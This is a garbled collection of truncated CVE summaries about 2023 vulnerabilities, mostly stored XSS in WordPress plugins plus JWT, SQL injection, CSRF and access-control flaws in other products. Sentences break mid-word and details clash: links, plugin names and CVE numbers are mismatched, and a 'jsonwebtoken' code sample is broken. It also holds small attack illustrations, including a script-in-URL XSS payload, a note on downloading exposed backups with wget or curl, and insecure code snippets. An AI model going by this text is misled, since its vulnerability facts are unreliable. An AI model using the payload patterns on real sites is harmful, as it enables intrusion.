AazzTech WooCommerce Product Carousel Slider plugin: <https://patchstack.com/database/vulnerability/product-carousel-slider-for-woocommerce/wordpress-woocommerce-cross-site-scripting>  
An attacker can exploit a bug in the plugin's API calls, potentially allowing unauthorized access to user data.

[Id.com/en/cve/cve-2023-47316/](https://www.cvedetails.com/en/cve/cve-2023-47316/)

cess control by making unauthorized API requests to obtain sensitive user data, manage files without providing unauthorized access to sensitive information, manipulation or deletion of data, and a general compromise.

correct Access Control due to a hard-coded JWT Secret. This secret, which should be kept confidential, formation like JWT secrets into their source code. Instead, they should use environmental variables or IRL: <https://boltonshield.com/en/cve/cve-2023-47315/>

lic GitHub repository where the JWT secret is hard-coded, obtaining the secret, and then generating findings in common vulnerability scoring system (CVSS) metrics in CVE reports. This score helps quantify the identified CVSS Base Score. This score would help in understanding the severity and potential impact of the

15.22.1. It pertains to a cross-site scripting (XSS) issue where the file upload function allows for both A oad function in the Headwind MDM Web panel. The attacker then shares a download URL pointing to d look like the following HTML file content that an attacker might upload: ``html<html> <scr

k for a security update or patch provided by the vendor that addresses this vulnerability and apply it as follows: '<https://boltonshield.com/en/cve/cve-2023-47314/>'. This link typically contains an in-depth analysis. 5.22.1. It pertains to a Directory Traversal issue where the application improperly handles an API call to the Directory Traversal vulnerability to manipulate an API call that moves uploaded temporary files. B metric, when available, helps to understand the severity of the vulnerability, based on the CVSS (Comprehensive Vulnerability Scoring System) score.

ity by sending a crafted API request to the Headwind MDM Web panel. This request would include a reference to [Itonshield.com/en/cve/cve-2023-47313/](https://www.itonshield.com/en/cve/cve-2023-47313/). This reference could provide more detailed insights into the affected by Incorrect Access Control resulting in Login Credential Leakage via Audit Entries. This means

lss to login credentials, possibly leading to further malicious activities such as unauthorized system access. For more information, visit [TaltonShield](https://www.taltonshield.com/en/cve/cve-2023-47312/).

The application's audit entries where login credentials are inadvertently logged. The attacker could then exploit a vulnerability in the Maintenance Mode Manager for Multiple Websites Maintenance plugin for WordPress. It allows for CSS Injection through a direct URL bypass, giving the attacker access to the WordPress dashboard. The attacker can inject arbitrary CSS values into site tags by manipulating the URL. This can lead to various security issues, such as cross-site scripting (XSS) or even more serious consequences like phishing. By injecting arbitrary CSS, an attacker can control the visual presentation of the website, including version 4.5.1.2.

Inherability is resolved in the changes made from version 4.5.1.2 to 4.5.1.3, as indicated in the provided source code. The Wordfence website provides threat intelligence and vulnerability details. Another concern is an attacker altering the 'newColor' parameter when making a request to the server. This could look like:

WordPress plugin. This vulnerability is a type of Stored Cross-Site Scripting (XSS) that affects all plugin versions. An attacker could exploit this vulnerability by injecting arbitrary web scripts through the 'easyrotator' plugin version 1.0.14.

code on the WordPress plugin repository at <https://plugins.trac.wordpress.org/browser/easyrotator-fibutor-level permissions creating or editing a post or a page in WordPress. They could add a specially c>

WordPress are affected by CVE-2023-5715.

and output escaping, specifically in the plugin's tracking code settings.

authenticated access with administrator-level permissions.

istrative access injecting malicious JavaScript code into the plugin's tracking code settings. This code w  
llti-site installations and in installations where the 'unfiltered\_html' capability has been disabled, allow

The WordPress plugins Trac: <https://plugins.trac.wordpress.org/browser/plerdy-heatmap/trunk/plerdy-5708>.

olumns plugin for WordPress. The issue arises due to insufficient input sanitization and output escapin  
are affected by CVE-2023-5708.

g the Stored Cross-Site Scripting vulnerability described by CVE-2023-5708.

z the 'column' shortcode feature of the WP Post Columns plugin. For example, an attacker with contrib

n to a version later than 2.2, as those versions will likely contain a fix for the vulnerability. If an update  
[https://plugins.trac.wordpress.org/browser/wp-post-columns/trunk/wp\\_post\\_columns.php?rev=112013#L59](https://plugins.trac.wordpress.org/browser/wp-post-columns/trunk/wp_post_columns.php?rev=112013#L59)  
lly, security vulnerabilities like Stored Cross-Site Scripting are taken seriously due to their potential im  
imized scripts, theft of session cookies, defacement of the affected website, or redirection of users to m  
It is a Stored Cross-Site Scripting (XSS) issue present in all versions up to and including 1.63.0.1. The vu  
el access to the WordPress site using the vulnerable VK Blocks plugin. The attacker can craft a maliciou

ch provides insights about the affected code and changes made to fix the issue. Some of these referen  
test version that contains a fix for the vulnerability. It is important to regularly check for and install upd  
e Base Score is often provided by official CVE databases such as the National Vulnerability Database (N  
Press. It is a Stored Cross-Site Scripting (XSS) issue present in all versions up to, and including, 1.5.0. Th  
to a WordPress website using the vulnerable CPO Shortcodes plugin. They can exploit the vulnerabilit  
23-5704.

s:- <https://plugins.trac.wordpress.org/browser/cpo-shortcodes/trunk/shortcodes/shortcode-testimoni>  
o has gained contributor-level access to the WordPress dashboard. They could create or edit a post and  
ite Scripting (XSS) attacks, potentially compromising the integrity and confidentiality of website data, i

anted contributor-level or higher permissions on a WordPress site that uses the vulnerable CPO Shortc  
IPress. This vulnerability is a Stored Cross-Site Scripting (XSS) issue that affects all versions of the plugin.  
cious scripts in the attributes that are not properly sanitized. When an unsuspecting user then accessee  
higher permissions on the WordPress site where the Tab Ultimate plugin is installed. This level of acce  
e of the injected script. Stored XSS attacks like this one can lead to a range of security issues, including  
ate plugin to a version that addresses the vulnerability (version higher than 1.3).2. If an update is not a  
ched. Normally users should check the plugin's official website, changelogs, or security advisories for :  
The WordPress plugin changeset detailing the relevant code changes: <https://plugins.trac.wordpress.or>  
is CVE-2023-5664.

ordPress.

affected by the CVE-2023-5664 vulnerability.

through the 'ggpkg' shortcode due to insufficient input sanitization and output escaping on user contributor-level or higher permissions in the WordPress site using the Garden Gnome Package plugin.

This is partially patched in version 2.2.7 and fully patched in version 2.2.9.

<https://plugins.trac.wordpress.org/browser/garden-gnome-package/tags/2.2.5/include/ggpackage.php#L>

Demonstrate the CVE-2023-5664 vulnerability. However, such vulnerabilities typically involve code that facilitates contributor-level access creating a new post or editing an existing one, and then using the 'ggpkg' shortcode to perform Cross-Site Scripting (XSS) through the 'sponsors' shortcode. This is due to insufficient input sanitization.

to CVE-2023-5662.

CVE-2023-5662.

Affected users should check for updates from the plugin developers or consult the WordPress plugin documentation. However, vulnerabilities are typically reported by security researchers, users, automated scanners able to inject malicious scripts into web pages which are then stored on the server. When other users or attackers injecting malicious code via Stored XSS, resulting in unauthorized script execution in users' browser. <https://plugins.trac.wordpress.org/browser/wp-sponsors/tags/3.5.0/includes/class-wp-sponsors-shortcode.php#L11> contributor or higher-level access to a WordPress site using the vulnerable plugin version. The attacker can use the plugin for WordPress. The plugin is vulnerable to Stored Cross-Site Scripting (XSS) through the 'dropshadowbox' shortcode, including 1.7.13.

Vulnerability described in CVE-2023-5469.

Stored Cross-Site Scripting (XSS) attacks. This can lead to script injection in pages, potentially stealing cookies.

A plugin processing the 'dropshadowbox' shortcode without properly sanitizing the input. For example: An attacker injecting a script that steals cookies from every visitor of the page, redirecting users to a phishing site. The official WordPress plugins Trac showing the code at issue: <https://plugins.trac.wordpress.org/browser/wp-sponsors/tags/3.5.0/includes/class-wp-sponsors-shortcode.php#L11> specifically affecting versions up to and including 1.6.8. It is a Stored Cross-Site Scripting (XSS) issue found in versions up to and including 1.6.8.

<https://plugins.trac.wordpress.org/browser/theme-blvd-shortcodes/tags/1.6.8/includes/class-tb-common.php#L11> sensitive, generally, a Stored XSS attack in this context might involve an attacker submitting a shortcode with permissions crafting a post or page on a WordPress site with injected JavaScript, which is then stored in the database. This means that its severity has not been quantified according to the Common Vulnerability Scoring System (CVSS). The 'dropshadowbox' plugin for WordPress. It is a Stored Cross-Site Scripting (XSS) issue found in versions up to, and including 1.7.13. Injecting vulnerabilities are typically taken seriously because they can allow attackers to inject malicious scripts into pages.

Higher-level permissions or higher on the WordPress website where the Related Products for WooCommerce plugin provides access to a WordPress site. They can exploit the vulnerability by submitting a post or page that includes sensitive information, you would typically refer to the plugin's changelog or update announcements for security. <https://plugins.trac.wordpress.org/browser/woo-related-products-refresh-on-reload/tags/3.3.15/woo-related-products-refresh-on-reload.php#L11> WordPress. It concerns a Stored Cross-Site Scripting (XSS) issue in versions up to, and including, 1.2.1. The plugin allows to inject malicious JavaScript code into a page. Since the plugin does not adequately sanitize user input.

affected by CVE-2023-5163. Users of this plugin should update to a later version where the vulnerability can be mitigated. This could result in confidential information theft, site defacement, and possibly a full takeover of the affected site due to CVE-2023-5163. Because of the lack of sufficient input sanitization, an attacker could include malicious JavaScript code in the listing.

This plugin repository and third-party security analysis provided by sites such as Wordfence. Direct links to the plugin's GitHub page show how to exploit CVE-2023-5163. This level of access would allow the attacker to create and edit posts, comments, and other content. It is categorized as a Stored Cross-Site Scripting (XSS) issue which exists in versions up to and including version 1.8.

' shortcode attributes due to lack of proper input sanitization and output escaping. Authenticated attackers can exploit CVE-2023-5128. This level of access allows them to inject and save the crafted message. More information about the vulnerability can be found here:- Trac entries showing relevant source code: <https://plugins.trac.wordpress.org/changeset/2985200/hk-filter-and-search> and <https://www.wordfence.com/threat-intelligence/vulnerabilities/cve-2023-5096>. An attacker could carry out stored XSS attacks, which could lead to stealing cookies, session tokens, or other sensitive information. This information might be updated later by the relevant vulnerability databases as they assess the severity of the issue.

This vulnerability is specific to the Contact Form 7 plugin for WordPress. It is classified as a Stored Cross-Site Scripting (XSS) issue that affects versions up to and including 1.8.

WordPress sites are vulnerable to CVE-2023-5096.

Attackers can exploit this vulnerability by injecting arbitrary web scripts through the contact form of a user's browser session, which can lead to a range of malicious activities such as stealing user session cookies.

More information about this vulnerability can be found at <https://plugins.trac.wordpress.org/changeset/2985200/hk-filter-and-search> and <https://www.wordfence.com/threat-intelligence/vulnerabilities/cve-2023-5096>. A check scenario exploiting CVE-2023-5096 would involve an attacker creating a WordPress post or page that contains a malicious script. This is a common issue in WordPress, specifically a Stored Cross-Site Scripting (XSS) flaw found in versions up to and including 1.8.

CVE-2023-5048.

This vulnerability is described in CVE-2023-5048.

Attackers can inject arbitrary web scripts into pages that will execute whenever a user visits an affected page. This can happen in the context of the user's browser session, potentially leading to unauthorized actions being taken on behalf of the user.

More information about this vulnerability can be found at <https://wordpress.org/plugins/contact-form-7/> and <https://trac.wordpress.org/changeset/2985200/hk-filter-and-search>. A check scenario exploiting CVE-2023-5048 would involve an attacker creating a WordPress post or page that contains a malicious script. This is a common issue in WordPress, specifically a Stored Cross-Site Scripting (XSS) flaw found in versions up to and including 1.8.

Attackers might submit a form with a malicious JavaScript payload, such as: `'[Contact\_Form\_Builder id=1]` if the user has contributor level access or higher submitting a contact form with embedded JavaScript. When another user visits the page, the script will be executed in the context of the user's browser session, potentially leading to unauthorized actions being taken on behalf of the user.

The severity of this vulnerability is determined by its CVSS score. However, given that it allows authenticated users with admin-level access to inject arbitrary code into the contact form, it is considered high risk.

Attackers could exploit CVE-2023-4726 by injecting malicious JavaScript code into the Ultimate Dashboard's admin interface. This could result in confidential information theft, site defacement, and possibly a full takeover of the affected site. More information about this vulnerability can be found at <https://plugins.trac.wordpress.org/changeset/2985200/hk-filter-and-search> and <https://www.wordfence.com/threat-intelligence/vulnerabilities/cve-2023-4726>. A check scenario exploiting CVE-2023-4726 would involve an attacker creating a WordPress post or page that contains a malicious script. This is a common issue in WordPress, specifically a Stored Cross-Site Scripting (XSS) flaw found in versions up to and including 3.7.7.

Hence, users should ensure they use versions 3.7.7 or later to mitigate this vulnerability.

`mark_safe()` API when rendering certain types of user-authored content, such as custom links, job buttons. Nautobot 1.6.6 and users on Nautobot 2.0.x should upgrade to version 2.0.5. Additionally, setting appropriate fixed versions and applying appropriate object permissions.

It's `mark\_safe()` like so: Incorrect usage: ``python from django.utils.safestring import mark\_safe``  
This code would allow users to inject malicious JavaScript code into these areas.

pository commit logs, pull requests, and security advisories. References such as the Django documentation

633 vulnerability.

ncluding 2.10.4.

[atchstack.com/database/vulnerability/customify/wordpress-customify-plugin-2-10-4-cross-site-reqe](http://atchstack.com/database/vulnerability/customify/wordpress-customify-plugin-2-10-4-cross-site-reqe)

rability by tricking a logged-in administrator into clicking a malicious link or loading a page that contains a system, which allows an unauthenticated local user to access and see through the cameras via the

local user to exploit the vulnerability and gain unauthorized access to camera feeds. The lack of authen

: <https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-unitree-robotics-a1> which describes a vulnerability in the camera's web server. The vulnerability allows an attacker to exploit it since the nature of the vulnerability simply involves accessing the camera's web server. This is described as an 'Improper Neutralization of Input During Web Page Generation,' which is a Cross-site Scripting (XSS) vulnerability. The installation running on a version below this is susceptible to the identified XSS vulnerability.

ure, with a reference provided at '<https://www.usom.gov.tr/bildirim/tr-23-0650>' which contains more  
jility. An attacker can exploit this by injecting malicious scripts into the system which are then stored.  
' stored XSS might look like this:In a web application, there's a user profile page that displays user inputs  
ad that, when stored on the Geodi platform, could be rendered in a victim's browser. The attacker cou  
2-35638.

hrough 6.1.2.1 are affected by CVE-2022-35638.

Sterling B2B Integrator Standard Edition.

and unauthorized actions transmitted from a user that the website trusts. This could potentially lead to

<https://www.xforce.ibmcloud.com/vulnerabilities/230824> and <https://www.ibm.com/support/pages/node/719747>. This issue arises when a user who is authenticated within the ownCloud/graphapi module versions 0.2.x prior to 0.2.1 and 0.3.x before 0.3.1. This issue was fixed in version 0.3.1. Versions of ownCloud graphapi prior to 0.2.1 in the 0.2.x series and prior to 0.3.1 in the 0.3.x series are not vulnerable to the credential disclosure described by this vulnerability. This suggests that a fix for this issue is available in the 0.2.x series. The vulnerable GetPhpInfo.php library providing the phpinfo() output URL is part of the graphapi module in ownCloud. By doing so, they could obtain sensitive information such as Cap'n Proto, a data interchange format and capability-based RPC system. Specifically, this issue arises when a user who is authenticated within the ownCloud/graphapi module versions 0.2.x prior to 0.2.1 and 0.3.x before 0.3.1. This issue was fixed in version 0.3.1. Versions of ownCloud graphapi prior to 0.2.1 in the 0.2.x series and prior to 0.3.1 in the 0.3.x series are not vulnerable to the credential disclosure described by this vulnerability. This suggests that a fix for this issue is available in the 0.2.x series.

compression is enabled. This condition occurs due to a heap-allocated buffer being written out-of-bounds for remote code execution since the out-of-bounds write consists of a specific constant value not `HttpClientSettings` or `HttpServerSettings`. It's important to note that WebSocket compression is disabled by default to update to this version to mitigate the vulnerability.

GitHub security advisory page at: <https://github.com/capnproto/capnproto/security/advisories/GHSA-1> is not commonly enabled. However, maintainers of the project suspect that the Cloudflare Workers R0 Identity Services Engine. It allows an authenticated, remote attacker to upload malicious files to the use of Cisco Identity Services Engine. This could be done if the attacker has authenticated access to the server which could lead to gaining unauthorized access to sensitive server-side information or carrying out

of publication.

security Advisory webpage at: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisories/Cisco-IP-Phone-Web-Based-Management-Interface-Cross-Site-Scripting-XSS-Vulnerability-CVE-2019-1030> to gain credentials to the Cisco Identity Services Engine web interface and then proceeding to upload a file. There are no specific code examples available. Typically, such vulnerabilities are discovered through penetration testing. In Cisco IP Phones that allows a stored cross-site scripting (XSS) attack. This can occur when an authenticated user logs in to the web-based management interface. It allows for a stored XSS attack, where a remote attacker with valid credentials can inject malicious JavaScript code into the web-based management interface of the affected Cisco IP Phones. This lack of proper validation allows an attacker to exploit the web-based management interface of the targeted Cisco IP Phone device. Without these credentials, the attack is limited to the local network.

ny available mitigation strategies or patches, affected users should review the advisory provided by Cisco. This vulnerability is due to a lack of proper validation of user input when parsing a JavaScript snippet that is inserted into a vulnerable webpage input and then stored on the server. Once stored, an attacker can use this to extract sensitive information such as session tokens or other sensitive information by executing malicious scripts, redirecting the affected user to a phishing page, or performing other malicious actions. The vulnerability has been assigned the identifier CVE-2023-20208.

's Identity Services Engine (ISE) that allows an authenticated, remote attacker to execute a cross-site script. This means they could inject malicious scripts into web pages viewed by other users, potentially leading to a privilege escalation.

•ity Advisory URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cis> link to a user managing the Cisco ISE interface. If the user clicks the link while authenticated to the web application, they will be directed to the Cisco ISE interface. This interaction is generally not provided publicly to prevent abuse. However, an XSS attack generally involves

clickable content such as iframes from insecure HTTP URLs.

advisory (MFSA) at <https://www.mozilla.org/security/advisories/mfsa2023-49/> and the related Bugzilla

This involves an attacker crafting a web page using HTTPS that generates a pop-up window through a 'jav' where incorrectly parsed in Mozilla Firefox, Firefox ESR, and Thunderbird. Specifically, the presence of a | .15.5.0, and Thunderbird versions earlier than 115.5.

erability. This could potentially allow an attacker to bypass the expected host in a URL and direct a user to, and Thunderbird that correct the URL parsing issue. These updates ensure that relative URLs with the leading disclosures on bugzilla.mozilla.org, mailing list notices from Debian's debian-its-announce, and a few sites or locations they did not intend to visit by manipulating the URL with a path-traversal pattern.

and Thunderbird applications to the latest versions that are not affected by this vulnerability. It is important of a system that allows an unauthenticated remote attacker to inject arbitrary system commands. The information given. However, the fact that it allows for command injection with root privileges suggests that

which is available at the following URL: <https://cert.vde.com/en/advisories/VDE-2023-037>.  
rafted requests to the vulnerable web-based management interface. These requests would contain co-  
ability referenced by CVE-2023-4149 are at risk. While the exact system or application isn't specified i-  
ect and execute arbitrary commands with root privileges, effectively gaining full control of the system  
about the input vectors and system configuration. Exploiting a command injection flaw typically involves  
yet. This score is an important indicator to gauge the severity of vulnerabilities, but details might not be  
of the AXIS OS Bug Bounty Program. It affects the VAPIX API dynamicoverlay.cgi and could enable a De-

nerability described in CVE-2023-21416. Users are advised to refer to the Axis security advisory for more information. An operator- or administrator-privileged account, can carry out a Denial-of-Service attack that prevents legitimate users from visiting the link provided by Axis Communications: <https://www.axis.com/dam/public/35/2a/a6/cve-2023-21416.pdf>. This vulnerability allows an attacker to obtain credentials to an operator or administrator service account on an Axis device. Using these credentials, an attacker can log in to an Axis device with a service account that has operator- or administrator-level privileges. Without sufficient privilege, an attacker can use the overlay configuration page in the web interface of an Axis device.

ion 0.2. It is an Insecure Permissions issue that allows a remote attacker to gain escalated privileges through a flaw in the software's permission handling logic. When a user with low privileges performs a specific action, such as creating a new account or modifying system settings, the application fails to correctly validate the user's permissions, leading to an elevation of privilege. This can result in the attacker being able to perform actions that they are not authorized to do, such as reading sensitive data or modifying system configurations. The CVSS Base Score is typically provided by the Common Vulnerability Scoring System (CVSS) to rate the severity of the vulnerability based on its impact and likelihood.

<https://prairie-steed-4d7.notion.site/WebsiteGuide-vulnerability-analysis-33a701c4fbf24555bffde17da0c> 19.

on settings is not properly sanitized, allowing the injection of arbitrary web scripts. tioned in CVE-2023-5119, even when the 'unfiltered\_html' capability is disallowed, as in a multisite set

use or reference: <https://wpscan.com/vulnerability/229207bb-8f8d-4579-a8e2-54516474ccb4>.  
privileges on a WordPress multisite network. They could exploit the lack of proper input sanitization on

should update to version 1.27.0 or later, where this vulnerability has been addressed. It is also advised to update to version 1.8.1 of the 'Embed Privacy' plugin for WordPress. Users of the plugin are advised to update to this version or higher permissions to perform Stored Cross-Site Scripting (XSS) attacks. This vulnerability could be exploited by an attacker with page-level or post-level permissions. The attacker would create or edit a page or post, incorporating the `embed\_privacy` parameter into the URL. The issue has been addressed in version 1.8.1 where a patch has been applied to the 'Embed Privacy' plugin for WordPress. The security advisory detailing the vulnerability: <https://github.com/epiphyc/embed-privacy/security/>. It is recommended to upgrade the plugin to version 1.8.1 or later. This version includes a patch that fixes CVE-2023-48300. The patch applies a sanitization filter to the `embed\_privacy` parameter, preventing XSS attacks.

) Classic Community Edition version 9.0, developed by OS4ED.  
includes a malicious JavaScript payload in the 'ajax' parameter in 'ParentLookup.php'. This payload is th  
the victim's browser, potentially leading to actions such as stealing session cookies, defacing web sites

Hub in the vulnerability research repository by 'dub-flow'.

I phising email to a user with a link to the exploited site, including the malicious 'ajax' parameter. On official website, provided in the reference list of CVE-2023-38883.

Community Edition version 9.0 of OS4ED's openSIS Classic. This security flaw allows remote attackers to

XSS) attacks. In such attacks, an attacker would entice a victim to click on a crafted link or visit a malicio ned.

OS4ED GitHub repository at <https://github.com/OS4ED/openSIS-Classic> or the vulnerability-research retaining JavaScript code crafted by the attacker. It might look something like this: '<http://vulnerable-op> vs attackers to conduct XSS attacks which can compromise the integrity and confidentiality of the user jsted sources, particularly URL parameters, is properly sanitized and encoded before being reflected b

openSIS Classic.

of the 'calendar\_id', 'school\_date', 'month', or 'year' parameters in the 'CalendarModal.php' file, whic Script in a user's web browser, potentially leading to actions being performed on behalf of the user, url.php?calendar\_id=<script>/\* malicious JavaScript here \*/</script>'. When the victim visits this URL, the

ub.com/OS4ED/openSIS-Classic- <https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2>

due to CVE-2023-38881, especially if they are accessible by untrusted parties who could exploit the ref ing a malicious JavaScript snippet and tricking a user into clicking on the link, which might be sent via p s openSIS Classic. It relates to a broken access control issue in the database backup functionality that a ckups are stored in an insecure manner within the web root with predictable file names such as 'opens IS Classic. It is advisable for users of this version to check for updates or patches that address this securi a such as user information, configuration details, and password hashes. The vulnerability poses a signif

predictable backup file names, like 'opensisBackup07-20-2023.sql', and directly accessing those files t t to exploit CVE-2023-38880 could involve an attacker using tools such as 'wget' or 'curl' to download t assic GitHub Repository: <https://github.com/OS4ED/openSIS-Classic- Vulnerability research on CVE-20> security measures to mitigate the risk associated with CVE-2023-38880. This could include changing the l a fast JSON Web Token (JWT) implementation. The vulnerability is due to the library's failure to prope 223.

e HS256 algorithm, signed with the RSA public key of the victim application. The vulnerability particula ere the vulnerability has been patched. Users should ensure they run a version above 3.3.2 to avoid th ypto.js` to include a regular expression that properly matches all common PEM formats for public key: `publicKeyPemMatcher` function within `crypto.js` to correctly match all PEM formats. This might look sir h a symmetric key such as HMAC but employing an RSA public key in the 'kid' field. The victim service resources provided by the maintainers of the fast-jwt library. These include the GitHub repository as we r WordPress. It is a Cross-Site Request Forgery (CSRF) vulnerability present in all versions up to and in leveraging the lack of nonce validation in the audio\_merchant\_save\_settings function. An attacker co -6197. Users running these versions are susceptible to the CSRF vulnerability described.

e specific part of the plugin's code on the WordPress plugin trac (<https://plugins.trac.wordpress.org/bi>

page or email that contains a link with a forged request to change settings in the Audio Merchant plug-in. Call 023-3379.

: of multiple Wago products. This vulnerability allows a local authenticated attacker to change the password. It is currently unknown if the CVSS score has been provided or assessed yet.

23.

age provided by VDE at <https://cert.vde.com/en/advisories/VDE-2023-015/>.

I to the Wago web-based management system might exploit the vulnerability to change the password. The system for Wago products, code examples detailing the vulnerability are not publicly published. Typically, this vulnerability is a cross-site scripting (XSS) issue that affects versions prior to 5.2.4M (MySQL version) and 1.4.10 (PHP version).

XSS) attacks. An attacker could exploit this vulnerability to execute scripts in the context of the user's browser, which when injected into a vulnerable LuxCal Web Calendar page, gets executed by visiting users' browser, and versions prior to 5.2.4L for the SQLite version.

/N (Japan Vulnerability Notes): <https://jvn.jp/en/jp/JVN15005948/> - The official Luxsoft website: <https://www.luxsoft.com/jp/vulnerabilities/15005948>. Patch for the MySQL version, or version 5.2.4L or later for the SQLite version, to mitigate the vulnerabilities prior to 5.2.4M (MySQL version) and 5.2.4L (SQLite version). It allows a remote unauthenticated attacker to interfere with the queries that an application makes to its database.

5.2.4M for the MySQL version and all versions prior to 5.2.4L for the SQLite version.

mands, which may lead to unauthorized viewing, modification, or deletion of information stored in the system.

You crafted HTTP request containing malicious SQL code to the web application. If the application fails to include an advisory page at JVN (<https://jvn.jp/en/jp/JVN15005948/>), the LuxSoft official website (<https://luxsoft.com/ja/support/advisories>) mandates applications to versions 5.2.4M or higher for the MySQL version, and 5.2.4L or higher for the SQL 'jsonwebtoken' JavaScript library, which is utilized for handling JSON Web Tokens (JWT). This vulnerability arises from a deserialization attack. An attacker can exploit this vulnerability by crafting a malicious JWT token with the HS256 algorithm using the 'jsonwebtoken' library that takes the algorithm for verifying JWT signatures from the JWT's header prior to its verification. The following code illustrates this issue:

```
```javascript
const jwt = require('jsonwebtoken');
let token = jwt.encode('HS256', { algorithm: 'RS256' });
```
The application then uses this token to authenticate the user, despite the fact that it was signed using the HS256 algorithm instead of the expected RS256. They could use the public RSA key of the application to verify the token and extract sensitive information. To mitigate this risk, the application should update the 'jsonwebtoken' library to the latest version, which contains a fix for this vulnerability. The official GitHub repository for the 'jsonwebtoken' library includes an advisory page for this issue at: https://github.com/joaquimserafim/jsonwebtoken/pull/100. The affected versions 7.4.3.94 through 7.4.3.95 are identified as CVE-2023-47797.
```

I. It manifests on a content page's edit page, where a remote attacker can inject arbitrary web script or

from cross-site scripting (XSS) attacks by injecting arbitrary web script or HTML into the content page's e

rough the provided reference: [https://liferay.dev/portal/security/known-vulnerabilities/-/asset\\_publisher/4.3.95](https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/4.3.95). This URL with a script included in the `p\_l\_back\_url\_title` parameter. When an unsuspecting user clicks

ches or updates provided by Liferay that address this vulnerability. Additionally, input validation and o

Open Source and Process Automation products.

that could be accessed by authenticated users without the proper authorization checks. This could potentially lead to unauthorized access or data theft. The issue was first reported in Rundeck version 4.17.3, where the issue has been fixed. It is recommended to apply this update as soon as possible. The recommended action is to upgrade to the fixed version of the software, which is Rundeck version 4.17.3.

on GitHub at the following URL: <https://github.com/rundeck/rundeck/security/advisories/GHSA-phmv>. It details a vulnerability in Rundeck's web interface that allows an attacker to gain unauthorized access to certain URLs. The user could then utilize the web console, command line tools, and a WebAPI. This vulnerability could allow authentication bypass if it has not been patched in this version.

formation. The impact of this vulnerability is such that it allows authenticated users to access lists of jobs contained within the specified project in Rundeck. This exposure is read-only, meaning that although the project can still be modified, the specific job lists are visible. This issue has been fixed in the latest version of Rundeck, where the vulnerability has been patched. If users are unable to upgrade, an alternative mitigation is to limit the scope of the affected project or to use a different provider.

deck on GitHub: <https://github.com/rundeck/rundeck/security/advisories/GHSA-xvmv-4rx6-x6jx>.  
ing the vulnerability to gather information about job names and groups within Rundeck projects that t  
and 9.1.2. It relates to ineffective escaping in the 'Show syntax Highlighted' feature which can lead to

## 9.1.2.

which may lead to various security issues such as cross-site scripting (XSS) attacks, data theft, or session hijacking.

[://advisory.splunk.com/advisories/SVD-2023-1103](https://advisory.splunk.com/advisories/SVD-2023-1103)) and Splunk Research (<https://research.splunk.com>) input that bypasses the ineffective escaping mechanism in Splunk's 'Show syntax Highlighted' feature, letting inject client-side scripts into web pages viewed by other users or manipulate web page content to prevent being affected by CVE-2023-46213, which means upgrading to at least version 9.0.7 or 9.1.2, to ensure that 'Input During Web Page Generation,' more commonly known as a Cross-site Scripting (XSS) vulnerability. These versions up to and including 1.0.7, and the Wishful Blog theme, specifically versions up to and including aScript code and then tricking a user into clicking it. Once the user visits the compromised webpage or user input from a request is returned by a web application in its response, without proper sanitization code in the context of the user's session. This can lead to various malicious activities such as stealing session and Wishful Blog themes to the latest versions that have patched this vulnerability. Additionally, install Patchstack pages for the vulnerabilities in Raise Mag (<https://patchstack.com/database/vulnerability/>). This vulnerability allows an attacker to perform actions such as stealing secrets, and potentially gain

: his vulnerability.

<https://huntr.com/bounties/dab47d99-551c-4355-9ab1-c99cb90235af>

Attacker could trick a victim into making an unwanted request to the Prefect web server API, which contains a webpage or email containing unauthorized API requests to the Prefect web server. If a user who is also a member of the project receives such a message, they may accidentally patch or update their local environment with unofficial patches or updates released by the project maintainers. Additionally, implementing CSRF tokens in version 5.7, specifically in the backend management interface via the /catalog\_add.php endpoint. This serves as a reminder to always verify the source of updates and patches.

vious link that includes a form submission to the vulnerable /catalog\_add.php page on the target webs  
[https://github.com/thedarknessdied/dedecms/blob/main/v5.7\\_110-CSRF.md](https://github.com/thedarknessdied/dedecms/blob/main/v5.7_110-CSRF.md)

carry out unauthorized actions on behalf of the authenticated user, which could result in changes to the system or data. It is important to keep your software up-to-date with security patches, as new vulnerabilities are frequently discovered. Additionally, developers should implement strong CSRF protection measures to prevent this type of attack.

its plugin for WordPress. Specifically, it is a Stored Cross-Site Scripting (XSS) vulnerability found in versions 2.24.0 and later. This vulnerability arises from insufficient input sanitization and output encoding. An attacker with administrator access could potentially insert a malicious JavaScript code into an input field on a form. It concerns the generation of one-time codes using the cryptographically weak 'random' module, which is not cryptographically secure, to generate one-time codes used for identity verification of data submitted by users. Users are advised to upgrade to this version or later to protect their systems against the vulnerability. Mitigating the deletion of personal data held by the data controller, or unauthorized modifications to a user's private information. To mitigate the vulnerability is to upgrade to Fides version 2.24.0 or later, where the issue has been resolved. A user can project user and generating multiple one-time codes to analyze the pattern. Once able to predict future codes, an attacker could use this information to craft a malicious link.

```
```python
import random
def generate_one_time_code():
    # This is an insecure way to generate one-time codes.
    return random.randint(1000000, 9999999)
```

This flaw allows an attacker to see the filesystem paths on the server, which is particularly problematic for Pimcore installations. The function returns the full path to the requested file, such as `10d178ef771`, which is part of the release version 1.2.1. Users are advised to upgrade to this version or later to protect their systems against the vulnerability. This information could facilitate other attacks described in CVE-2023-47636. The recommended action is to upgrade to at least version 1.2.1 of the Huntr platform, which includes the GitHub commit that patches the issue, the GitHub security advisory, and the Huntr platform warning. The snippet before it was patched:

```
```php
$file_path = '/var/tmp/export-' . uniqid() . '.csv';
$handle = fopen($file_path, 'w');
```

**o:1. Reconnaissance:** An attacker could use the path information to understand the server's directory structure, which is susceptible to Reflected Cross-Site Scripting (XSS) attacks through the 'course\_id' parameter. An attacker could craft script code and then tricking a user into clicking on that link. When the link is clicked, the unsanitized 'course\_id' value is used, leading to a reflected XSS attack. This is a known issue and was fixed by CVE-2023-4602.

or WordPress to a version that has addressed this vulnerability. If an update is unavailable, it is recommended to use a publicly shared Google Drive link with details on the vulnerability, the WordPress plugin changeset that introduced the vulnerability, and a crafted link that includes malicious JavaScript code as a parameter value for 'course\_id'. The attacker must have at least contributor-level permissions or above on the WordPress site.

**IPress plugin repository's changeset:** <https://plugins.trac.wordpress.org/changeset/2995413/shareaholic>. An attacker who has access to a WordPress site using a vulnerable version of the Shareaholic plugin could craft a malicious shareaholic link.

**Specifically a CWE-79 type.** This vulnerability arises due to the improper neutralization of input during web page generation. An attacker can inject malicious JavaScript into the response, leading to a reflected XSS attack.

